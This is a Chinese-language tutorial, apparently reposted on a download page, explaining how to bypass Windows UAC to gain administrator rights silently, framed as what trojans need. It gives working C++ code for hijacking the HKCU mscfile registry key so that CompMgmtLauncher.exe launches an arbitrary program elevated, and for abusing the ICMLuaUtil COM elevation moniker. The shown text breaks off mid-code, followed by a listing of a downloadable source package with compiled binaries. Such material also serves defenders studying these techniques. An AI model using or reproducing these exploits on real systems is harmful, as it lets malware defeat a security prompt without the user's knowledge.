# Bypass UAC 提权小结
# 背景
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。
在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。接下来,分别介绍这两种Bypass UAC的实现方法。
## 6.2.1 基于白名单程序Bypass UAC
有些系统程序是直接获取管理员权限,而不会触发UAC弹框,这类程序称为白名单程序。例如,slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。
接下来,选取白名单程序CompMgmtLauncher.exe计算机管理程序进行详细分析,利用它实现Bypass UAC提权。下述的分析过程是在64位Windows 10操作系统上完成的,使用到的关键工具软件是进程监控器Procmon.exe。
### 实现过程
首先,直接到System32目录下运行CompMgmtLauncher.exe程序,并没有出现UAC弹窗,直接显示计算机管理的窗口界面。其中,使用进程监控器Procmon.exe来监控CompMgmtLauncher.exe进程的所有操作行为,主要是监控注册表和文件的操作。通过分析Procmon.exe的监控数据发现,CompMgmtLauncher.exe进程会先查询注册表HKCU\\Software\\Classes\\mscfile\\shell\\open\\command中数据,发现该路径不存在后,继续查询注册表HKCR\\mscfile\\shell\\open\\command\\\(Default)中的数据并读取,该注册表路径中存储着mmc.exe进程的路径信息,如图6-1所示。然后,CompMgmtLauncher.exe会根据读取到的路径启动程序,显示计算机管理的窗口界面。
![](http://www.writebug.com/myres/static/uploads/2021/10/19/fc2775aef9d18781175c405b55241183.writebug)
在CompMgmtLauncher.exe启动的过程中,有一个关键的操作就是它会先读取注册表HKCU\\Software\\Classes\\mscfile\\shell\\open\\command的数据。打开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为C:\\Windows\\System32\\cmd.exe,然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe,成功弹出cmd.exe命令行窗口,而且提示管理员权限,如图6-2所示。
![](http://www.writebug.com/myres/static/uploads/2021/10/19/2baf0a432c85db8343515d5d6e641076.writebug)
查看Procmon.exe的监控数据,CompMgmtLauncher.exe确实直接读取HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\\(Default)注册表路径中的数据并启动,如图6-3所示。
![](http://www.writebug.com/myres/static/uploads/2021/10/19/79dc3609ffce491db729946a8afa5860.writebug)
所以,利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理便是,程序自己创建并添加注册表HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\\(Default),并写入自定义的程序路径。接着,运行CompMgmtLauncher.exe程序,完成Bypass UAC提权操作。其中,HKEY_CURRENT_USER注册表是用户注册表,程序使用普通权限即可进行修改。
那么,基于CompMgmtLauncher.exe白名单程序Bypass UAC具体实现代码如下所示。
```c++
// 修改注册表
BOOL SetReg(char *lpszExePath)
{
HKEY hKey = NULL;
// 创建项
::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (NULL == hKey)
{
ShowError("RegCreateKeyEx");
return FALSE;
}
// 设置键值
::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath)));
// 关闭注册表
::RegCloseKey(hKey);
return TRUE;
}
```
### 测试
直接运行上述程序,向注册表HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\\(Default)中写入cmd.exe的路径,启动cmd.exe进程。cmd.exe成功启动,窗口标题显示管理员字样,如图6-4所示。
![](http://www.writebug.com/myres/static/uploads/2021/10/19/94a157c62d9b53394f2fe3e76643c216.writebug)
## 6.2.2 基于COM组件接口Bypass UAC
COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程。所以,本文介绍的基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称(COM Elevation Moniker)来对ICMLuaUtil接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。
使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,CoCreateInstanceAsAdmin函数的代码可以在MSDN网页( https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx )上找到,下面给出的是CoCreateInstanceAsAdmin函数的改进代码,增加了初始化COM环境的代码。
那么,COM提升名称具体的实现代码如下所示。
```c++
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;
// 初始化COM环境
::CoInitialize(NULL);
// 构造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
{
return hr;
}
// 设置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 创建名称对象并获取COM对象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;
}
```
执行上述代码,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。
那么,基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示。
```c++
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutab
没有合适的资源?快使用搜索试试~ 我知道了~
精选_Bypass UAC 提权小结_源码打包
共34个文件
cpp:8个
h:7个
txt:3个
1.该资源内容由用户上传,如若侵权请联系客服进行举报
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
版权申诉
5星 · 超过95%的资源 1 下载量 197 浏览量
2022-03-10
11:18:30
上传
评论
收藏 543KB ZIP 举报
温馨提示
Bypass UAC 提权小结
资源推荐
资源详情
资源评论
收起资源包目录
5372642103475093.zip (34个子文件)
bypassuac
src2
BypassUAC2_Test.v12.suo 31KB
BypassUAC2_Test.sln 1KB
Test
stdafx.h 219B
ReadMe.txt 1KB
Test.vcxproj 4KB
Test.cpp 509B
stdafx.cpp 202B
targetver.h 228B
Test.vcxproj.filters 1KB
BypassUAC2_Test
stdafx.h 304B
BypassUAC2_Test.vcxproj 5KB
BypassUAC2_Test.vcxproj.filters 2KB
ReadMe.txt 2KB
BypassUAC2_Test.def 28B
BypassUAC.cpp 1KB
stdafx.cpp 213B
BypassUAC.h 3KB
targetver.h 228B
BypassUAC2_Test.cpp 286B
dllmain.cpp 370B
Debug
Test.exe 523KB
BypassUAC2_Test.dll 497KB
src
BypassUAC1_Test.v12.suo 22KB
BypassUAC1_Test
stdafx.h 219B
ReadMe.txt 2KB
BypassUAC1_Test.cpp 1KB
BypassUAC1_Test.vcxproj.filters 1KB
BypassUAC1_Test.vcxproj 4KB
stdafx.cpp 213B
targetver.h 228B
Debug
BypassUAC1_Test.exe 524KB
BypassUAC1_Test.sln 969B
LICENSE 1KB
README.md 11KB
共 34 条
- 1
资源评论
- m0_626282732023-09-09非常有用的资源,有一定的参考价值,受益匪浅,值得下载。
工具盒子
- 粉丝: 60
- 资源: 1313
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功